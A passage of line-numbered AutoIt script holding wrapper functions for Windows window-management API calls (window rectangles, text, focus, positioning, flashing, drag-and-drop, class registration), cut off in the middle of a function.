  5512. Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
  5513. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  5514. Return $aresult[0]
  5515. EndFunc
  5516.  
  5517. Func _winapi_getwindowrect($hwnd)
  5518. Local $trect = DllStructCreate($tagrect)
  5519. Local $aret = DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
  5520. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5521. Return $trect
  5522. EndFunc
  5523.  
  5524. Func _winapi_getwindowtext($hwnd)
  5525. Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  5526. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  5527. Return SetExtended($aresult[0], $aresult[2])
  5528. EndFunc
  5529.  
  5530. Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
  5531. Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  5532. If @error Then Return SetError(@error, @extended, 0)
  5533. $ipid = $aresult[2]
  5534. Return $aresult[0]
  5535. EndFunc
  5536.  
  5537. Func _winapi_getwindowwidth($hwnd)
  5538. Local $trect = _winapi_getwindowrect($hwnd)
  5539. If @error Then Return SetError(@error, @extended, 0)
  5540. Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  5541. EndFunc
  5542.  
  5543. Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
  5544. If $hwnd = $hlastwnd Then Return True
  5545. For $ii = $__g_ainprocess_winapi[0][0] To 1 Step -1
  5546. If $hwnd = $__g_ainprocess_winapi[$ii][0] Then
  5547. If $__g_ainprocess_winapi[$ii][1] Then
  5548. $hlastwnd = $hwnd
  5549. Return True
  5550. Else
  5551. Return False
  5552. EndIf
  5553. EndIf
  5554. Next
  5555. Local $ipid
  5556. _winapi_getwindowthreadprocessid($hwnd, $ipid)
  5557. Local $icount = $__g_ainprocess_winapi[0][0] + 1
  5558. If $icount >= 64 Then $icount = 1
  5559. $__g_ainprocess_winapi[0][0] = $icount
  5560. $__g_ainprocess_winapi[$icount][0] = $hwnd
  5561. $__g_ainprocess_winapi[$icount][1] = ($ipid = @AutoItPID)
  5562. Return $__g_ainprocess_winapi[$icount][1]
  5563. EndFunc
  5564.  
  5565. Func _winapi_invalidaterect($hwnd, $trect = 0, $berase = True)
  5566. Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $berase)
  5567. If @error Then Return SetError(@error, @extended, False)
  5568. Return $aresult[0]
  5569. EndFunc
  5570.  
  5571. Func _winapi_isclassname($hwnd, $sclassname)
  5572. Local $sseparator = Opt("GUIDataSeparatorChar")
  5573. Local $aclassname = StringSplit($sclassname, $sseparator)
  5574. If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  5575. Local $sclasscheck = _winapi_getclassname($hwnd)
  5576. For $x = 1 To UBound($aclassname) - 1
  5577. If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
  5578. Next
  5579. Return False
  5580. EndFunc
  5581.  
  5582. Func _winapi_iswindow($hwnd)
  5583. Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
  5584. If @error Then Return SetError(@error, @extended, 0)
  5585. Return $aresult[0]
  5586. EndFunc
  5587.  
  5588. Func _winapi_iswindowvisible($hwnd)
  5589. Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  5590. If @error Then Return SetError(@error, @extended, 0)
  5591. Return $aresult[0]
  5592. EndFunc
  5593.  
  5594. Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $brepaint = True)
  5595. Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $brepaint)
  5596. If @error Then Return SetError(@error, @extended, False)
  5597. Return $aresult[0]
  5598. EndFunc
  5599.  
  5600. Func _winapi_setfocus($hwnd)
  5601. Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
  5602. If @error Then Return SetError(@error, @extended, 0)
  5603. Return $aresult[0]
  5604. EndFunc
  5605.  
  5606. Func _winapi_setfont($hwnd, $hfont, $bredraw = True)
  5607. _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $bredraw, 0, "hwnd")
  5608. EndFunc
  5609.  
  5610. Func _winapi_setparent($hwndchild, $hwndparent)
  5611. Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
  5612. If @error Then Return SetError(@error, @extended, 0)
  5613. Return $aresult[0]
  5614. EndFunc
  5615.  
  5616. Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
  5617. Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
  5618. If @error Then Return SetError(@error, @extended, False)
  5619. Return $aresult[0]
  5620. EndFunc
  5621.  
  5622. Func _winapi_setwindowtext($hwnd, $stext)
  5623. Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
  5624. If @error Then Return SetError(@error, @extended, False)
  5625. Return $aresult[0]
  5626. EndFunc
  5627.  
  5628. Func _winapi_showwindow($hwnd, $icmdshow = 5)
  5629. Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
  5630. If @error Then Return SetError(@error, @extended, False)
  5631. Return $aresult[0]
  5632. EndFunc
  5633.  
  5634. Func _winapi_updatewindow($hwnd)
  5635. Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
  5636. If @error Then Return SetError(@error, @extended, False)
  5637. Return $aresult[0]
  5638. EndFunc
  5639.  
  5640. #EndRegion Public Functions
  5641. #Region Internal Functions
  5642.  
  5643. Func __winapi_enumwindowsadd($hwnd, $sclass = "")
  5644. If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
  5645. $__g_awinlist_winapi[0][0] += 1
  5646. Local $icount = $__g_awinlist_winapi[0][0]
  5647. If $icount >= $__g_awinlist_winapi[0][1] Then
  5648. ReDim $__g_awinlist_winapi[$icount + 64][2]
  5649. $__g_awinlist_winapi[0][1] += 64
  5650. EndIf
  5651. $__g_awinlist_winapi[$icount][0] = $hwnd
  5652. $__g_awinlist_winapi[$icount][1] = $sclass
  5653. EndFunc
  5654.  
  5655. Func __winapi_enumwindowschild($hwnd, $bvisible = True)
  5656. $hwnd = _winapi_getwindow($hwnd, $gw_child)
  5657. While $hwnd <> 0
  5658. If (NOT $bvisible) OR _winapi_iswindowvisible($hwnd) Then
  5659. __winapi_enumwindowsadd($hwnd)
  5660. __winapi_enumwindowschild($hwnd, $bvisible)
  5661. EndIf
  5662. $hwnd = _winapi_getwindow($hwnd, $gw_hwndnext)
  5663. WEnd
  5664. EndFunc
  5665.  
  5666. Func __winapi_enumwindowsinit()
  5667. ReDim $__g_awinlist_winapi[64][2]
  5668. $__g_awinlist_winapi[0][0] = 0
  5669. $__g_awinlist_winapi[0][1] = 64
  5670. EndFunc
  5671.  
  5672. #EndRegion Internal Functions
  5673. Global Const $flashw_caption = 1
  5674. Global Const $flashw_tray = 2
  5675. Global Const $flashw_timer = 4
  5676. Global Const $flashw_timernofg = 12
  5677. Global Const $tagupdatelayeredwindowinfo = "dword Size;hwnd hDstDC;long DstX;long DstY;long cX;long cY;hwnd hSrcDC;long SrcX;long SrcY;dword crKey;byte BlendOp;byte BlendFlags;byte Alpha;byte AlphaFormat;dword Flags;long DirtyLeft;long DirtyTop;long DirtyRight;long DirtyBottom"
  5678. Global Const $tagwindowinfo = "dword Size;struct;long rWindow[4];endstruct;struct;long rClient[4];endstruct;dword Style;dword ExStyle;dword WindowStatus;uint cxWindowBorders;uint cyWindowBorders;word atomWindowType;word CreatorVersion"
  5679. Global Const $tagwndclass = "uint Style;ptr hWndProc;int ClsExtra;int WndExtra;ptr hInstance;ptr hIcon;ptr hCursor;ptr hBackground;ptr MenuName;ptr ClassName"
  5680. Global Const $tagwndclassex = "uint Size;uint Style;ptr hWndProc;int ClsExtra;int WndExtra;ptr hInstance;ptr hIcon;ptr hCursor;ptr hBackground;ptr MenuName;ptr ClassName;ptr hIconSm"
  5681. Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
  5682.  
  5683. Func _winapi_adjustwindowrectex(ByRef $trect, $istyle, $iexstyle = 0, $bmenu = False)
  5684. Local $aret = DllCall("user32.dll", "bool", "AdjustWindowRectEx", "struct*", $trect, "dword", $istyle, "bool", $bmenu, "dword", $iexstyle)
  5685. If @error Then Return SetError(@error, @extended, False)
  5686. Return $aret[0]
  5687. EndFunc
  5688.  
  5689. Func _winapi_animatewindow($hwnd, $iflags, $iduration = 1000)
  5690. Local $aret = DllCall("user32.dll", "bool", "AnimateWindow", "hwnd", $hwnd, "dword", $iduration, "dword", $iflags)
  5691. If @error Then Return SetError(@error, @extended, False)
  5692. Return $aret[0]
  5693. EndFunc
  5694.  
  5695. Func _winapi_begindeferwindowpos($iamount = 1)
  5696. Local $aret = DllCall("user32.dll", "handle", "BeginDeferWindowPos", "int", $iamount)
  5697. If @error Then Return SetError(@error, @extended, 0)
  5698. Return $aret[0]
  5699. EndFunc
  5700.  
  5701. Func _winapi_bringwindowtotop($hwnd)
  5702. Local $aret = DllCall("user32.dll", "bool", "BringWindowToTop", "hwnd", $hwnd)
  5703. If @error Then Return SetError(@error, @extended, False)
  5704. Return $aret[0]
  5705. EndFunc
  5706.  
  5707. Func _winapi_broadcastsystemmessage($imsg, $wparam = 0, $lparam = 0, $iflags = 0, $irecipients = 0)
  5708. Local $aret = DllCall("user32.dll", "long", "BroadcastSystemMessageW", "dword", $iflags, "dword*", $irecipients, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  5709. If @error OR ($aret[0] = -1) Then Return SetError(@error, @extended, -1)
  5710. Return SetExtended($aret[2], $aret[0])
  5711. EndFunc
  5712.  
  5713. Func _winapi_callwindowproc($pprevwndfunc, $hwnd, $imsg, $wparam, $lparam)
  5714. Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $pprevwndfunc, "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  5715. If @error Then Return SetError(@error, @extended, -1)
  5716. Return $aresult[0]
  5717. EndFunc
  5718.  
  5719. Func _winapi_callwindowprocw($pprevwndproc, $hwnd, $imsg, $wparam, $lparam)
  5720. Local $aret = DllCall("user32.dll", "lresult", "CallWindowProcW", "ptr", $pprevwndproc, "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  5721. If @error Then Return SetError(@error, @extended, 0)
  5722. Return $aret[0]
  5723. EndFunc
  5724.  
  5725. Func _winapi_cascadewindows($awnds, $trect = 0, $hparent = 0, $iflags = 0, $istart = 0, $iend = -1)
  5726. If __checkerrorarraybounds($awnds, $istart, $iend) Then Return SetError(@error + 10, @extended, 0)
  5727. Local $icount = $iend - $istart + 1
  5728. Local $twnds = DllStructCreate("hwnd[" & $icount & "]")
  5729. $icount = 1
  5730. For $i = $istart To $iend
  5731. DllStructSetData($twnds, 1, $awnds[$i], $icount)
  5732. $icount += 1
  5733. Next
  5734. Local $aret = DllCall("user32.dll", "word", "CascadeWindows", "hwnd", $hparent, "uint", $iflags, "struct*", $trect, "uint", $icount - 1, "struct*", $twnds)
  5735. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5736. Return $aret[0]
  5737. EndFunc
  5738.  
  5739. Func _winapi_changewindowmessagefilterex($hwnd, $imsg, $iaction)
  5740. Local $tcfs, $aret
  5741. If $hwnd AND ($__winver > 1536) Then
  5742. Local Const $tagchangefilterstruct = "dword cbSize; dword ExtStatus"
  5743. $tcfs = DllStructCreate($tagchangefilterstruct)
  5744. DllStructSetData($tcfs, 1, DllStructGetSize($tcfs))
  5745. $aret = DllCall("user32.dll", "bool", "ChangeWindowMessageFilterEx", "hwnd", $hwnd, "uint", $imsg, "dword", $iaction, "struct*", $tcfs)
  5746. Else
  5747. $tcfs = 0
  5748. $aret = DllCall("user32.dll", "bool", "ChangeWindowMessageFilter", "uint", $imsg, "dword", $iaction)
  5749. EndIf
  5750. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5751. Return SetExtended(DllStructGetData($tcfs, 2), 1)
  5752. EndFunc
  5753.  
  5754. Func _winapi_childwindowfrompointex($hwnd, $tpoint, $iflags = 0)
  5755. Local $aret = DllCall("user32.dll", "hwnd", "ChildWindowFromPointEx", "hwnd", $hwnd, "struct", $tpoint, "uint", $iflags)
  5756. If @error Then Return SetError(@error, @extended, 0)
  5757. Return $aret[0]
  5758. EndFunc
  5759.  
  5760. Func _winapi_closewindow($hwnd)
  5761. Local $aret = DllCall("user32.dll", "bool", "CloseWindow", "hwnd", $hwnd)
  5762. If @error Then Return SetError(@error, @extended, False)
  5763. Return $aret[0]
  5764. EndFunc
  5765.  
  5766. Func _winapi_deferwindowpos($hinfo, $hwnd, $hafter, $ix, $iy, $iwidth, $iheight, $iflags)
  5767. Local $aret = DllCall("user32.dll", "handle", "DeferWindowPos", "handle", $hinfo, "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "uint", $iflags)
  5768. If @error Then Return SetError(@error, @extended, 0)
  5769. Return $aret[0]
  5770. EndFunc
  5771.  
  5772. Func _winapi_defwindowproc($hwnd, $imsg, $wparam, $lparam)
  5773. Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  5774. If @error Then Return SetError(@error, @extended, 0)
  5775. Return $aresult[0]
  5776. EndFunc
  5777.  
  5778. Func _winapi_defwindowprocw($hwnd, $imsg, $wparam, $lparam)
  5779. Local $aret = DllCall("user32.dll", "lresult", "DefWindowProcW", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  5780. If @error Then Return SetError(@error, @extended, 0)
  5781. Return $aret[0]
  5782. EndFunc
  5783.  
  5784. Func _winapi_deregistershellhookwindow($hwnd)
  5785. Local $aret = DllCall("user32.dll", "bool", "DeregisterShellHookWindow", "hwnd", $hwnd)
  5786. If @error Then Return SetError(@error, @extended, False)
  5787. Return $aret[0]
  5788. EndFunc
  5789.  
  5790. Func _winapi_dragacceptfiles($hwnd, $baccept = True)
  5791. DllCall("shell32.dll", "none", "DragAcceptFiles", "hwnd", $hwnd, "bool", $baccept)
  5792. If @error Then Return SetError(@error, @extended, 0)
  5793. Return 1
  5794. EndFunc
  5795.  
  5796. Func _winapi_dragfinish($hdrop)
  5797. DllCall("shell32.dll", "none", "DragFinish", "handle", $hdrop)
  5798. If @error Then Return SetError(@error, @extended, 0)
  5799. Return 1
  5800. EndFunc
  5801.  
  5802. Func _winapi_dragqueryfileex($hdrop, $iflag = 0)
  5803. Local $aret = DllCall("shell32.dll", "uint", "DragQueryFileW", "handle", $hdrop, "uint", -1, "ptr", 0, "uint", 0)
  5804. If @error Then Return SetError(@error, @extended, 0)
  5805. If NOT $aret[0] Then Return SetError(10, 0, 0)
  5806. Local $icount = $aret[0]
  5807. Local $aresult[$icount + 1]
  5808. For $i = 0 To $icount - 1
  5809. $aret = DllCall("shell32.dll", "uint", "DragQueryFileW", "handle", $hdrop, "uint", $i, "wstr", "", "uint", 4096)
  5810. If NOT $aret[0] Then Return SetError(11, 0, 0)
  5811. If $iflag Then
  5812. Local $bdir = _winapi_pathisdirectory($aret[3])
  5813. If (($iflag = 1) AND $bdir) OR (($iflag = 2) AND NOT $bdir) Then
  5814. ContinueLoop
  5815. EndIf
  5816. EndIf
  5817. $aresult[$i + 1] = $aret[3]
  5818. $aresult[0] += 1
  5819. Next
  5820. If NOT $aresult[0] Then Return SetError(12, 0, 0)
  5821. __inc($aresult, -1)
  5822. Return $aresult
  5823. EndFunc
  5824.  
  5825. Func _winapi_dragquerypoint($hdrop)
  5826. Local $tpoint = DllStructCreate($tagpoint)
  5827. Local $aret = DllCall("shell32.dll", "bool", "DragQueryPoint", "handle", $hdrop, "struct*", $tpoint)
  5828. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5829. Return $tpoint
  5830. EndFunc
  5831.  
  5832. Func _winapi_enddeferwindowpos($hinfo)
  5833. Local $aret = DllCall("user32.dll", "bool", "EndDeferWindowPos", "handle", $hinfo)
  5834. If @error Then Return SetError(@error, @extended, False)
  5835. Return $aret[0]
  5836. EndFunc
  5837.  
  5838. Func _winapi_enumchildwindows($hwnd, $bvisible = True)
  5839. If NOT _winapi_getwindow($hwnd, 5) Then Return SetError(2, 0, 0)
  5840. Local $henumproc = DllCallbackRegister("__EnumWindowsProc", "bool", "hwnd;lparam")
  5841. Dim $__g_venum[101][2] = [[0]]
  5842. DllCall("user32.dll", "bool", "EnumChildWindows", "hwnd", $hwnd, "ptr", DllCallbackGetPtr($henumproc), "lparam", $bvisible)
  5843. If @error OR NOT $__g_venum[0][0] Then
  5844. $__g_venum = @error + 10
  5845. EndIf
  5846. DllCallbackFree($henumproc)
  5847. If $__g_venum Then Return SetError($__g_venum, 0, 0)
  5848. __inc($__g_venum, -1)
  5849. Return $__g_venum
  5850. EndFunc
  5851.  
  5852. Func _winapi_findwindow($sclassname, $swindowname)
  5853. Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
  5854. If @error Then Return SetError(@error, @extended, 0)
  5855. Return $aresult[0]
  5856. EndFunc
  5857.  
  5858. Func _winapi_flashwindow($hwnd, $binvert = True)
  5859. Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $binvert)
  5860. If @error Then Return SetError(@error, @extended, False)
  5861. Return $aresult[0]
  5862. EndFunc
  5863.  
  5864. Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
  5865. Local $tflash = DllStructCreate($tagflashwinfo)
  5866. Local $iflash = DllStructGetSize($tflash)
  5867. Local $imode = 0
  5868. If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $flashw_caption)
  5869. If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $flashw_tray)
  5870. If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $flashw_timer)
  5871. If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $flashw_timernofg)
  5872. DllStructSetData($tflash, "Size", $iflash)
  5873. DllStructSetData($tflash, "hWnd", $hwnd)
  5874. DllStructSetData($tflash, "Flags", $imode)
  5875. DllStructSetData($tflash, "Count", $icount)
  5876. DllStructSetData($tflash, "Timeout", $itimeout)
  5877. Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
  5878. If @error Then Return SetError(@error, @extended, False)
  5879. Return $aresult[0]
  5880. EndFunc
  5881.  
  5882. Func _winapi_getancestor($hwnd, $iflags = 1)
  5883. Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
  5884. If @error Then Return SetError(@error, @extended, 0)
  5885. Return $aresult[0]
  5886. EndFunc
  5887.  
  5888. Func _winapi_getclassinfoex($sclass, $hinstance = 0)
  5889. Local $stypeofclass = "ptr"
  5890. If IsString($sclass) Then
  5891. $stypeofclass = "wstr"
  5892. EndIf
  5893. Local $twndclassex = DllStructCreate($tagwndclassex)
  5894. Local $aret = DllCall("user32.dll", "bool", "GetClassInfoExW", "handle", $hinstance, $stypeofclass, $sclass, "struct*", $twndclassex)
  5895. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5896. Return $twndclassex
  5897. EndFunc
  5898.  
  5899. Func _winapi_getclasslongex($hwnd, $iindex)
  5900. Local $aret
  5901. If @AutoItX64 Then
  5902. $aret = DllCall("user32.dll", "ulong_ptr", "GetClassLongPtrW", "hwnd", $hwnd, "int", $iindex)
  5903. Else
  5904. $aret = DllCall("user32.dll", "dword", "GetClassLongW", "hwnd", $hwnd, "int", $iindex)
  5905. EndIf
  5906. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  5907. Return $aret[0]
  5908. EndFunc
  5909.  
  5910. Func _winapi_getclientheight($hwnd)
  5911. Local $trect = _winapi_getclientrect($hwnd)
  5912. If @error Then Return SetError(@error, @extended, 0)
  5913. Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  5914. EndFunc
  5915.  
  5916. Func _winapi_getclientwidth($hwnd)
  5917. Local $trect = _winapi_getclientrect($hwnd)
  5918. If @error Then Return SetError(@error, @extended, 0)
  5919. Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  5920. EndFunc
  5921.  
  5922. Func _winapi_getdlgitem($hwnd, $iitemid)
  5923. Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
  5924. If @error Then Return SetError(@error, @extended, 0)
  5925. Return $aresult[0]
  5926. EndFunc
  5927.  
  5928. Func _winapi_getforegroundwindow()
  5929. Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
  5930. If @error Then Return SetError(@error, @extended, 0)
  5931. Return $aresult[0]
  5932. EndFunc
  5933.  
  5934. Func _winapi_getguithreadinfo($ithreadid)
  5935. Local Const $tagguithreadinfo = "dword Size;dword Flags;hwnd hWndActive;hwnd hWndFocus;hwnd hWndCapture;hwnd hWndMenuOwner;hwnd hWndMoveSize;hwnd hWndCaret;struct rcCaret;long left;long top;long right;long bottom;endstruct"
  5936. Local $tgti = DllStructCreate($tagguithreadinfo)
  5937. DllStructSetData($tgti, 1, DllStructGetSize($tgti))
  5938. Local $aret = DllCall("user32.dll", "bool", "GetGUIThreadInfo", "dword", $ithreadid, "struct*", $tgti)
  5939. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5940. Local $aresult[11]
  5941. For $i = 0 To 10
  5942. $aresult[$i] = DllStructGetData($tgti, $i + 2)
  5943. Next
  5944. For $i = 9 To 10
  5945. $aresult[$i] -= $aresult[$i - 2]
  5946. Next
  5947. Return $aresult
  5948. EndFunc
  5949.  
  5950. Func _winapi_getlastactivepopup($hwnd)
  5951. Local $aret = DllCall("user32.dll", "hwnd", "GetLastActivePopup", "hwnd", $hwnd)
  5952. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5953. If $aret[0] = $hwnd Then Return SetError(1, 0, 0)
  5954. Return $aret[0]
  5955. EndFunc
  5956.  
  5957. Func _winapi_getlayeredwindowattributes($hwnd, ByRef $itranscolor, ByRef $itransgui, $bcolorref = False)
  5958. $itranscolor = -1
  5959. $itransgui = -1
  5960. Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "INT*", $itranscolor, "byte*", $itransgui, "dword*", 0)
  5961. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  5962. If NOT $bcolorref Then
  5963. $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
  5964. EndIf
  5965. $itranscolor = $aresult[2]
  5966. $itransgui = $aresult[3]
  5967. Return $aresult[4]
  5968. EndFunc
  5969.  
  5970. Func _winapi_getmessageextrainfo()
  5971. Local $aret = DllCall("user32.dll", "lparam", "GetMessageExtraInfo")
  5972. If @error Then Return SetError(@error, @extended, 0)
  5973. Return $aret[0]
  5974. EndFunc
  5975.  
  5976. Func _winapi_getshellwindow()
  5977. Local $aret = DllCall("user32.dll", "hwnd", "GetShellWindow")
  5978. If @error Then Return SetError(@error, @extended, 0)
  5979. Return $aret[0]
  5980. EndFunc
  5981.  
  5982. Func _winapi_gettopwindow($hwnd)
  5983. Local $aret = DllCall("user32.dll", "hwnd", "GetTopWindow", "hwnd", $hwnd)
  5984. If @error Then Return SetError(@error, @extended, 0)
  5985. Return $aret[0]
  5986. EndFunc
  5987.  
  5988. Func _winapi_getwindowdisplayaffinity($hwnd)
  5989. Local $aret = DllCall("user32.dll", "bool", "GetWindowDisplayAffinity", "hwnd", $hwnd, "dword*", 0)
  5990. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5991. Return $aret[2]
  5992. EndFunc
  5993.  
  5994. Func _winapi_getwindowinfo($hwnd)
  5995. Local $twindowinfo = DllStructCreate($tagwindowinfo)
  5996. DllStructSetData($twindowinfo, "Size", DllStructGetSize($twindowinfo))
  5997. Local $aret = DllCall("user32.dll", "bool", "GetWindowInfo", "hwnd", $hwnd, "struct*", $twindowinfo)
  5998. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5999. Return $twindowinfo
  6000. EndFunc
  6001.  
  6002. Func _winapi_getwindowplacement($hwnd)
  6003. Local $twindowplacement = DllStructCreate($tagwindowplacement)
  6004. DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
  6005. Local $aret = DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
  6006. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  6007. Return $twindowplacement
  6008. EndFunc
  6009.  
  6010. Func _winapi_ischild($hwnd, $hwndparent)
  6011. Local $aret = DllCall("user32.dll", "bool", "IsChild", "hwnd", $hwndparent, "hwnd", $hwnd)
  6012. If @error Then Return SetError(@error, @extended, False)
  6013. Return $aret[0]
  6014. EndFunc
  6015.  
  6016. Func _winapi_ishungappwindow($hwnd)
  6017. Local $aret = DllCall("user32.dll", "bool", "IsHungAppWindow", "hwnd", $hwnd)
  6018. If @error Then Return SetError(@error, @extended, False)
  6019. Return $aret[0]
  6020. EndFunc
  6021.  
  6022. Func _winapi_isiconic($hwnd)
  6023. Local $aret = DllCall("user32.dll", "bool", "IsIconic", "hwnd", $hwnd)
  6024. If @error Then Return SetError(@error, @extended, False)
  6025. Return $aret[0]
  6026. EndFunc
  6027.  
  6028. Func _winapi_iswindowunicode($hwnd)
  6029. Local $aret = DllCall("user32.dll", "bool", "IsWindowUnicode", "hwnd", $hwnd)
  6030. If @error Then Return SetError(@error, @extended, False)
  6031. Return $aret[0]
  6032. EndFunc
  6033.  
  6034. Func _winapi_iszoomed($hwnd)
  6035. Local $aret = DllCall("user32.dll", "bool", "IsZoomed", "hwnd", $hwnd)
  6036. If @error Then Return SetError(@error, @extended, False)
  6037. Return $aret[0]
  6038. EndFunc
  6039.  
  6040. Func _winapi_killtimer($hwnd, $itimerid)
  6041. Local $aret = DllCall("user32.dll", "bool", "KillTimer", "hwnd", $hwnd, "uint_ptr", $itimerid)
  6042. If @error Then Return SetError(@error, @extended, 0)
  6043. Return $aret[0]
  6044. EndFunc
  6045.  
  6046. Func _winapi_openicon($hwnd)
  6047. Local $aret = DllCall("user32.dll", "bool", "OpenIcon", "hwnd", $hwnd)
  6048. If @error Then Return SetError(@error, @extended, 0)
  6049. Return $aret[0]
  6050. EndFunc
  6051.  
  6052. Func _winapi_postmessage($hwnd, $imsg, $wparam, $lparam)
  6053. Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
  6054. If @error Then Return SetError(@error, @extended, False)
  6055. Return $aresult[0]
  6056. EndFunc
  6057.  
  6058. Func _winapi_registerclass($twndclass)
  6059. Local $aret = DllCall("user32.dll", "word", "RegisterClassW", "struct*", $twndclass)
  6060. If @error Then Return SetError(@error, @extended, 0)
  6061. Return $aret[0]
  6062. EndFunc
  6063.  
  6064. Func _winapi_registerclassex($twndclassex)
  6065. Local $aret = DllCall("user32.dll", "word", "RegisterClassExW", "struct*", $twndclassex)
  6066. If @error Then Return SetError(@error, @extended, 0)
  6067. Return $aret[0]
  6068. EndFunc
  6069.  
  6070. Func _winapi_registershellhookwindow($hwnd)
  6071. Local $aret = DllCall("user32.dll", "bool", "RegisterShellHookWindow", "hwnd", $hwnd)
  6072. If @error Then Return SetError(@error, @extended, False)
  6073. Return $aret[0]
  6074. EndFunc
  6075.  
  6076. Func _winapi_registerwindowmessage($smessage)
  6077. Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
  6078. If @error Then Return SetError(@error, @extended, 0)
  6079. Return $aresult[0]
  6080. EndFunc
  6081.  
  6082. Func _winapi_sendmessagetimeout($hwnd, $imsg, $wparam = 0, $lparam = 0, $itimeout = 1000, $iflags = 0)
  6083. Local $aret = DllCall("user32.dll", "lresult", "SendMessageTimeoutW", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam, "uint", $iflags, "uint", $itimeout, "dword_ptr*", 0)
  6084. If @error Then Return SetError(@error, @extended, -1)
  6085. If NOT $aret[0] Then Return SetError(10, _winapi_getlasterror(), -1)
  6086. Return $aret[7]
  6087. EndFunc
  6088.  
  6089. Func _winapi_setclasslongex($hwnd, $iindex, $inewlong)
  6090. Local $aret
  6091. If @AutoItX64 Then
  6092. $aret = DllCall("user32.dll", "ulong_ptr", "SetClassLongPtrW", "hwnd", $hwnd, "int", $iindex, "long_ptr", $inewlong)
  6093. Else
